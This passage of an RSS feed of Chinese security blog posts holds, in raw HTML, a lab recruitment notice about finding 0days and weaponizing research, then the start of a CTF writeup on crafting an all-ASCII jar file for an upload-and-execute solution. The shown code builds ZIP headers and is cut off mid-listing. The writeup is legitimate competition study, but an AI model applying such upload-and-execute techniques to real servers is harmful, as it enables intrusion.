data-raw-text="(" data-textnode-index-1644746879960="487" data-index-1644746879960="7639" class="character">(</span><span data-raw-text="奇" data-textnode-index-1644746879960="487" data-index-1644746879960="7640" class="character">奇</span><span data-raw-text="安" data-textnode-index-1644746879960="487" data-index-1644746879960="7641" class="character">安</span><span data-raw-text="信" data-textnode-index-1644746879960="487" data-index-1644746879960="7642" class="character">信</span><span data-raw-text="观" data-textnode-index-1644746879960="487" data-index-1644746879960="7643" class="character">观</span><span data-raw-text="星" data-textnode-index-1644746879960="487" data-index-1644746879960="7644" class="character">星</span><span data-raw-text="实" data-textnode-index-1644746879960="487" data-index-1644746879960="7645" class="character">实</span><span data-raw-text="验" data-textnode-index-1644746879960="487" data-index-1644746879960="7646" class="character">验</span><span data-raw-text="室" data-textnode-index-1644746879960="487" data-index-1644746879960="7647" class="character">室</span><span data-raw-text=")" data-textnode-index-1644746879960="487" data-index-1644746879960="7648" class="character">)</span><span data-raw-text="招" data-textnode-index-1644746879960="487" data-index-1644746879960="7649" class="character">招</span><span data-raw-text="个" data-textnode-index-1644746879960="487" data-index-1644746879960="7650" class="character">个</span><span data-raw-text="队" data-textnode-index-1644746879960="487" data-index-1644746879960="7651" class="character">队</span><span data-raw-text="友" data-textnode-index-1644746879960="487" data-index-1644746879960="7652" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;">友</span><span data-raw-text="," data-textnode-index-1644746879960="487" data-index-1644746879960="7653" class="character">,</span><span data-raw-text="有" data-textnode-index-1644746879960="487" data-index-1644746879960="7654" class="character">有</span><span data-raw-text="意" data-textnode-index-1644746879960="487" data-index-1644746879960="7655" class="character">意</span><span data-raw-text="向" data-textnode-index-1644746879960="487" data-index-1644746879960="7656" class="character">向</span><span data-raw-text="的" data-textnode-index-1644746879960="487" data-index-1644746879960="7657" class="character">的</span><span data-raw-text="可" data-textnode-index-1644746879960="487" data-index-1644746879960="7658" class="character">可</span><span data-raw-text="以" data-textnode-index-1644746879960="487" data-index-1644746879960="7659" class="character">以</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);"><span data-raw-text="公" data-textnode-index-1644746879960="488" data-index-1644746879960="7660" class="character">公</span><span data-raw-text="众" data-textnode-index-1644746879960="488" data-index-1644746879960="7661" class="character">众</span><span data-raw-text="号" data-textnode-index-1644746879960="488" data-index-1644746879960="7662" class="character">号</span><span data-raw-text="后" data-textnode-index-1644746879960="488" data-index-1644746879960="7663" class="character">后</span><span data-raw-text="台" data-textnode-index-1644746879960="488" data-index-1644746879960="7664" class="character">台</span></span><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="或" data-textnode-index-1644746879960="489" data-index-1644746879960="7665" class="character">或</span><span data-raw-text="者" data-textnode-index-1644746879960="489" data-index-1644746879960="7666" class="character">者</span><span data-raw-text="邮" data-textnode-index-1644746879960="489" data-index-1644746879960="7667" class="character">邮</span><span data-raw-text="箱" data-textnode-index-1644746879960="489" data-index-1644746879960="7668" class="character">箱</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);"><span data-raw-text="r" data-textnode-index-1644746879960="490" data-index-1644746879960="7669" class="character">r</span><span data-raw-text="o" data-textnode-index-1644746879960="490" data-index-1644746879960="7670" class="character">o</span><span data-raw-text="o" data-textnode-index-1644746879960="490" data-index-1644746879960="7671" class="character">o</span><span data-raw-text="t" data-textnode-index-1644746879960="490" data-index-1644746879960="7672" class="character">t</span><span data-raw-text="#" data-textnode-index-1644746879960="490" data-index-1644746879960="7673" class="character">#</span><span data-raw-text="g" data-textnode-index-1644746879960="490" data-index-1644746879960="7674" class="character">g</span><span data-raw-text="v" data-textnode-index-1644746879960="490" data-index-1644746879960="7675" class="character">v</span><span data-raw-text="7" data-textnode-index-1644746879960="490" data-index-1644746879960="7676" class="character">7</span><span data-raw-text="." data-textnode-index-1644746879960="490" data-index-1644746879960="7677" class="character">.</span><span data-raw-text="m" data-textnode-index-1644746879960="490" data-index-1644746879960="7678" class="character">m</span><span data-raw-text="e" data-textnode-index-1644746879960="490" data-index-1644746879960="7679" class="character">e</span></span><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="联" data-textnode-index-1644746879960="491" data-index-1644746879960="7680" class="character">联</span><span data-raw-text="系" data-textnode-index-1644746879960="491" data-index-1644746879960="7681" class="character">系</span><span data-raw-text="我" data-textnode-index-1644746879960="491" data-index-1644746879960="7682" class="character">我</span><span data-raw-text="，" data-textnode-index-1644746879960="491" data-index-1644746879960="7683" class="character">，</span><span data-raw-text="期" data-textnode-index-1644746879960="491" data-index-1644746879960="7684" class="character">期</span><span data-raw-text="待" data-textnode-index-1644746879960="491" data-index-1644746879960="7685" class="character">待</span><span data-raw-text="与" data-textnode-index-1644746879960="491" data-index-1644746879960="7686" class="character">与</span><span data-raw-text="你" data-textnode-index-1644746879960="491" data-index-1644746879960="7687" class="character">你</span><span data-raw-text="共" data-textnode-index-1644746879960="491" data-index-1644746879960="7688" class="character">共</span><span data-raw-text="事" data-textnode-index-1644746879960="491" data-index-1644746879960="7689" class="character">事</span><span data-raw-text="。" data-textnode-index-1644746879960="491" data-index-1644746879960="7690" class="character">。</span></span></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><strong><span style="letter-spacing: 1px;font-size: 16px;"><span data-raw-text="." data-textnode-index-1644746879960="492" data-index-1644746879960="7692" class="character">6.</span><span data-raw-text="1" data-textnode-index-1644746879960="492" data-index-1644746879960="7693" class="character">1</span><span data-raw-text=" " data-textnode-index-1644746879960="492" data-index-1644746879960="7694" class="character"> </span><span data-raw-text="工" data-textnode-index-1644746879960="492" data-index-1644746879960="7695" class="character">工</span><span data-raw-text="作" data-textnode-index-1644746879960="492" data-index-1644746879960="7696" class="character">作</span><span data-raw-text="内" data-textnode-index-1644746879960="492" data-index-1644746879960="7697" class="character">内</span><span data-raw-text="容" data-textnode-index-1644746879960="492" data-index-1644746879960="7698" class="character">容</span></span></strong></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="学" data-textnode-index-1644746879960="493" data-index-1644746879960="7699" class="character">学</span><span data-raw-text="习" data-textnode-index-1644746879960="493" data-index-1644746879960="7700" class="character">习</span><span data-raw-text="最" data-textnode-index-1644746879960="493" data-index-1644746879960="7701" class="character">最</span><span data-raw-text="前" data-textnode-index-1644746879960="493" data-index-1644746879960="7702" class="character">前</span><span data-raw-text="沿" data-textnode-index-1644746879960="493" data-index-1644746879960="7703" class="character">沿</span><span data-raw-text="的" data-textnode-index-1644746879960="493" data-index-1644746879960="7704" class="character">的</span><span data-raw-text="攻" data-textnode-index-1644746879960="493" data-index-1644746879960="7705" class="character">攻</span><span data-raw-text="防" data-textnode-index-1644746879960="493" data-index-1644746879960="7706" class="character">防</span><span data-raw-text="技" data-textnode-index-1644746879960="493" data-index-1644746879960="7707" class="character">技</span><span data-raw-text="术" data-textnode-index-1644746879960="493" data-index-1644746879960="7708" class="character">术</span><span data-raw-text="，" data-textnode-index-1644746879960="493" data-index-1644746879960="7709" class="character">，</span><span data-raw-text="挖" data-textnode-index-1644746879960="493" data-index-1644746879960="7710" class="character">挖</span><span data-raw-text="掘" data-textnode-index-1644746879960="493" data-index-1644746879960="7711" class="character">掘</span><span data-raw-text="0" data-textnode-index-1644746879960="493" data-index-1644746879960="7712" class="character">0</span><span data-raw-text="d" data-textnode-index-1644746879960="493" data-index-1644746879960="7713" class="character">d</span><span data-raw-text="a" data-textnode-index-1644746879960="493" data-index-1644746879960="7714" class="character">a</span><span data-raw-text="y" data-textnode-index-1644746879960="493" data-index-1644746879960="7715" class="character">y</span><span data-raw-text="，" data-textnode-index-1644746879960="493" data-index-1644746879960="7716" class="character">，</span><span data-raw-text="并" data-textnode-index-1644746879960="493" data-index-1644746879960="7717" class="character">并</span><span data-raw-text="将" data-textnode-index-1644746879960="493" data-index-1644746879960="7718" class="character">将</span><span data-raw-text="研" data-textnode-index-1644746879960="493" data-index-1644746879960="7719" class="character">研</span><span data-raw-text="究" data-textnode-index-1644746879960="493" data-index-1644746879960="7720" class="character">究</span><span data-raw-text="成" data-textnode-index-1644746879960="493" data-index-1644746879960="7721" class="character">成</span><span data-raw-text="果" data-textnode-index-1644746879960="493" data-index-1644746879960="7722" class="character">果</span><span data-raw-text="自" data-textnode-index-1644746879960="493" data-index-1644746879960="7723" class="character">自</span><span data-raw-text="动" data-textnode-index-1644746879960="493" data-index-1644746879960="7724" class="character">动</span><span data-raw-text="化" data-textnode-index-1644746879960="493" data-index-1644746879960="7725" class="character">化</span><span data-raw-text="武" data-textnode-index-1644746879960="493" data-index-1644746879960="7726" class="character">武</span><span data-raw-text="器" data-textnode-index-1644746879960="493" data-index-1644746879960="7727" class="character">器</span><span data-raw-text="化" data-textnode-index-1644746879960="493" data-index-1644746879960="7728" class="character">化</span><span data-raw-text="。" data-textnode-index-1644746879960="493" data-index-1644746879960="7729" class="character">。</span></span></section><p style="white-space: normal;line-height: 1.5em;"><br/></p><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><strong><span data-raw-text="." data-textnode-index-1644746879960="494" data-index-1644746879960="7731" class="character">6.</span><span data-raw-text="2" data-textnode-index-1644746879960="494" data-index-1644746879960="7732" class="character">2</span><span data-raw-text=" " data-textnode-index-1644746879960="494" data-index-1644746879960="7733" class="character"> </span><span data-raw-text="能" data-textnode-index-1644746879960="494" data-index-1644746879960="7734" class="character">能</span><span data-raw-text="力" data-textnode-index-1644746879960="494" data-index-1644746879960="7735" class="character">力</span><span data-raw-text="要" data-textnode-index-1644746879960="494" data-index-1644746879960="7736" class="character">要</span><span data-raw-text="求" data-textnode-index-1644746879960="494" data-index-1644746879960="7737" class="character">求</span></strong></span><br/></section><ul class="list-paddingleft-2" style="margin-right: 8px;margin-left: 8px;padding-left: 30px;width: 577.422px;white-space: normal;list-style-type: circle;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="可" data-textnode-index-1644746879960="495" data-index-1644746879960="7738" class="character">可</span><span data-raw-text="以" data-textnode-index-1644746879960="495" data-index-1644746879960="7739" class="character">以</span><span data-raw-text="分" data-textnode-index-1644746879960="495" data-index-1644746879960="7740" class="character">分</span><span data-raw-text="析" data-textnode-index-1644746879960="495" data-index-1644746879960="7741" class="character">析</span><span data-raw-text="调" data-textnode-index-1644746879960="495" data-index-1644746879960="7742" class="character">调</span><span data-raw-text="试" data-textnode-index-1644746879960="495" data-index-1644746879960="7743" class="character">试</span><span data-raw-text="最" data-textnode-index-1644746879960="495" data-index-1644746879960="7744" class="character">最</span><span data-raw-text="新" data-textnode-index-1644746879960="495" data-index-1644746879960="7745" class="character">新</span><span data-raw-text="报" data-textnode-index-1644746879960="495" data-index-1644746879960="7746" class="character">报</span><span data-raw-text="送" data-textnode-index-1644746879960="495" data-index-1644746879960="7747" class="character">送</span><span data-raw-text="的" data-textnode-index-1644746879960="495" data-index-1644746879960="7748" class="character">的</span><span data-raw-text="漏" data-textnode-index-1644746879960="495" data-index-1644746879960="7749" class="character">漏</span><span data-raw-text="洞" data-textnode-index-1644746879960="495" data-index-1644746879960="7750" class="character">洞</span></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="可" data-textnode-index-1644746879960="496" data-index-1644746879960="7751" class="character">可</span><span data-raw-text="以" data-textnode-index-1644746879960="496" data-index-1644746879960="7752" class="character">以</span><span data-raw-text="将" data-textnode-index-1644746879960="496" data-index-1644746879960="7753" class="character">将</span><span data-raw-text="研" data-textnode-index-1644746879960="496" data-index-1644746879960="7754" class="character">研</span><span data-raw-text="究" data-textnode-index-1644746879960="496" data-index-1644746879960="7755" class="character">究</span><span data-raw-text="成" data-textnode-index-1644746879960="496" data-index-1644746879960="7756" class="character">成</span><span data-raw-text="果" data-textnode-index-1644746879960="496" data-index-1644746879960="7757" class="character">果</span><span data-raw-text="自" data-textnode-index-1644746879960="496" data-index-1644746879960="7758" class="character">自</span><span data-raw-text="动" data-textnode-index-1644746879960="496" data-index-1644746879960="7759" class="character">动</span><span data-raw-text="化" data-textnode-index-1644746879960="496" data-index-1644746879960="7760" class="character">化</span><span data-raw-text="武" data-textnode-index-1644746879960="496" data-index-1644746879960="7761" class="character">武</span><span data-raw-text="器" data-textnode-index-1644746879960="496" data-index-1644746879960="7762" class="character">器</span><span data-raw-text="化" data-textnode-index-1644746879960="496" data-index-1644746879960="7763" class="character">化</span></span></p></li></ul><p style="white-space: normal;line-height: 1.5em;"><br/></p><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><strong><span data-raw-text="." data-textnode-index-1644746879960="497" data-index-1644746879960="7765" class="character">6.</span><span data-raw-text="3" data-textnode-index-1644746879960="497" data-index-1644746879960="7766" class="character">3</span><span data-raw-text=" " data-textnode-index-1644746879960="497" data-index-1644746879960="7767" class="character"> </span><span data-raw-text="加" data-textnode-index-1644746879960="497" data-index-1644746879960="7768" class="character">加</span><span data-raw-text="分" data-textnode-index-1644746879960="497" data-index-1644746879960="7769" class="character">分</span><span data-raw-text="项" data-textnode-index-1644746879960="497" data-index-1644746879960="7770" class="character">项</span></strong></span><br/></section><ul class="list-paddingleft-2" style="margin-right: 8px;margin-left: 8px;padding-left: 30px;width: 577.422px;white-space: normal;list-style-type: circle;"><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="有" data-textnode-index-1644746879960="498" data-index-1644746879960="7771" class="character">有</span><span data-raw-text="高" data-textnode-index-1644746879960="498" data-index-1644746879960="7772" class="character">高</span><span data-raw-text="质" data-textnode-index-1644746879960="498" data-index-1644746879960="7773" class="character">质</span><span data-raw-text="量" data-textnode-index-1644746879960="498" data-index-1644746879960="7774" class="character">量</span><span data-raw-text="文" data-textnode-index-1644746879960="498" data-index-1644746879960="7775" class="character">文</span><span data-raw-text="章" data-textnode-index-1644746879960="498" data-index-1644746879960="7776" class="character">章</span><span data-raw-text="b" data-textnode-index-1644746879960="498" data-index-1644746879960="7777" class="character">b</span><span data-raw-text="l" data-textnode-index-1644746879960="498" data-index-1644746879960="7778" class="character">l</span><span data-raw-text="o" data-textnode-index-1644746879960="498" data-index-1644746879960="7779" class="character">o</span><span data-raw-text="g" data-textnode-index-1644746879960="498" data-index-1644746879960="7780" class="character">g</span></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="有" data-textnode-index-1644746879960="499" data-index-1644746879960="7781" class="character">有</span><span data-raw-text="不" data-textnode-index-1644746879960="499" data-index-1644746879960="7782" class="character">不</span><span data-raw-text="错" data-textnode-index-1644746879960="499" data-index-1644746879960="7783" class="character">错</span><span data-raw-text="的" data-textnode-index-1644746879960="499" data-index-1644746879960="7784" class="character">的</span><span data-raw-text="自" data-textnode-index-1644746879960="499" data-index-1644746879960="7785" class="character">自</span><span data-raw-text="动" data-textnode-index-1644746879960="499" data-index-1644746879960="7786" class="character">动</span><span data-raw-text="化" data-textnode-index-1644746879960="499" data-index-1644746879960="7787" class="character">化</span><span data-raw-text="开" data-textnode-index-1644746879960="499" data-index-1644746879960="7788" class="character">开</span><span data-raw-text="源" data-textnode-index-1644746879960="499" data-index-1644746879960="7789" class="character">源</span><span data-raw-text="作" data-textnode-index-1644746879960="499" data-index-1644746879960="7790" class="character">作</span><span data-raw-text="品" data-textnode-index-1644746879960="499" data-index-1644746879960="7791" class="character">品</span></span></p></li><li><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="有" data-textnode-index-1644746879960="500" data-index-1644746879960="7792" class="character">有</span><span data-raw-text="原" data-textnode-index-1644746879960="500" data-index-1644746879960="7793" class="character">原</span><span data-raw-text="创" data-textnode-index-1644746879960="500" data-index-1644746879960="7794" class="character">创</span><span data-raw-text="C" data-textnode-index-1644746879960="500" data-index-1644746879960="7795" class="character">C</span><span data-raw-text="V" data-textnode-index-1644746879960="500" data-index-1644746879960="7796" class="character">V</span><span data-raw-text="E" data-textnode-index-1644746879960="500" data-index-1644746879960="7797" class="character">E</span></span></p></li></ul>



<p><a href="https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3e2fde1c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484259%26idx%3D1%26sn%3D2f132a952ec5e30ecefc9d3acef3cac5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Mar 2022 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>RWCTF 4th Desperate Cat ASCII Jar Writeup</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484234&amp;idx=1&amp;sn=c8ca168dd0bbbcab70f761c61a6bf6f7</link>
      <description>ascii jar构造之旅</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2022-02-14 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>ascii jar构造之旅</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=872ee58d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPdhDB7wNopWIwWKAZKwKZAMJ7bOkuCFGHzo3319uysaib3kBXlibciaCJZpHxNkwAo3JRXtSMcrbgtAQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="color: rgb(255, 255, 255);"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;background-color: rgb(171, 25, 66);font-size: 18px;"> 0x00</span></strong></span><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;background-color: rgb(171, 25, 66);font-size: 18px;"> </span></strong></p><p style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><span style="background-color: rgb(255, 255, 255);"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 18px;"> 背景 </span></strong></span></p><p style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></p><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">出题人的<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&amp;mid=2247488297&amp;idx=1&amp;sn=cc3db8ffe79c0340215d24fbc6800f7d&amp;chksm=96f40c44a1838552d400146795a24fc425e8ff480d05521384ef07600cab85ef666bff97d01f&amp;scene=21#wechat_redirect" textvalue="Writeup" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Writeup</a>当中提到了一个非预期解，上传一个ASCII jar并执行它来解题。思路都好理解，但如何构造这个特殊的jar，一笔带过了。文章里介绍的工具也是不能直接使用的。这篇文章主要是分享ASCII jar的构造思路。</span></section><section style="margin-right: 8px;margin-left: 8px;text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.86015625" data-s="300,640" data-w="1280" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d0095e93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdhDB7wNopWIwWKAZKwKZAMw8ibKKjiayWcyEQltVRIvbR4kCMJuf1s5dZPl9c800X0dQ1xWSLTxJfw%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">在开始之前，我们先思考一个问题，为何需要控制字节在ASCII(0-127)之内呢？</span></strong></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">这是因为题目写的文件内容是一个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">String</span><span style="font-size: 14px;letter-spacing: 1px;">而不是一个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">byte[]</span><span style="font-size: 14px;letter-spacing: 1px;">，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">String</span><span style="font-size: 14px;letter-spacing: 1px;">的编码决定着它的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">byte[]</span><span style="font-size: 14px;letter-spacing: 1px;">。各类编码是可以兼容ASCII的，无论怎么编码转换，ASCII范围的字符二进制都可以做到不变。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">所以该题最终需要控制jar的内容在0-127同时不包含被转义的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">&amp;&lt;&#39;&gt;&#34;()</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">字符。</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><strong><span style="color: rgb(255, 255, 255);letter-spacing: 1px;font-size: 18px;background-color: rgb(171, 25, 66);"> 0x01 </span></strong></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">构造思路</span></strong></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">jar格式包含着各类信息，我们需要让每一部分都在允许的字节范围内。但每部分生成的算法并不相同，所以需要分别构造，最终合并成一个合法的jar。</span></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">一个简单的jar格式大概如下</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872P5xvkicbc0yQgN7C2doZt5iaXSZ0IncT8dWo7wNiaBQ1IabKN57XhezxIIMp7UAc8UyFN4alOHjeOa/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 558px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(171, 178, 191);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(40, 44, 52);border-radius: 5px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">def</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">wrap_jar</span><span style="line-height: 26px;">(raw_data,compressed_data,zip_entry_filename)</span>:</span><br/>    crc = zlib.crc32(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>)<br/>    <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> (<br/>        <span style="color: rgb(152, 195, 121);line-height: 26px;">b&#39;PK\3\4&#39;</span> +    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># Magic</span><br/>        binascii.unhexlify(<br/>            <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;0a000000&#39;</span> +     <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># Version needed to extract</span><br/>            <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;080000000000&#39;</span>   <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># Compression Method</span><br/>        ) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, crc) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>)) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>)) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;H&#39;</span>, len(zip_entry_filename)) +<br/>        <span style="color: rgb(152, 195, 121);line-height: 26px;">b&#39;\0\0&#39;</span> +<br/>        zip_entry_filename +<br/>        compressed_data +<br/>        <span style="color: rgb(152, 195, 121);line-height: 26px;">b&#39;PK\1\2\0\0&#39;</span> +  <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># Magic</span><br/>        binascii.unhexlify(<br/>            <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;0a000000&#39;</span> +     <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># Version needed to extract</span><br/>            <span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;080000000000&#39;</span><br/>        ) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, crc) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(compressed_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>)) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(raw_data) % pow(<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">32</span>)) +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(zip_entry_filename)) +<br/>        <span style="color: rgb(152, 195, 121);line-height: 26px;">b&#39;\0&#39;</span> * <span style="color: rgb(209, 154, 102);line-height: 26px;">10</span> +<br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>) + <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># offset of file in archive</span><br/>        zip_entry_filename +<br/>        <span style="color: rgb(152, 195, 121);line-height: 26px;">b&#39;PK\5\6\0\0\0\0\0\0&#39;</span> + <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># Magic</span><br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;H&#39;</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>) +  <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"># number of files</span><br/>        struct.pack(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&lt;L&#39;</span>, len(zip_entry_filename) + <span style="color: rgb(209, 154, 102);line-height: 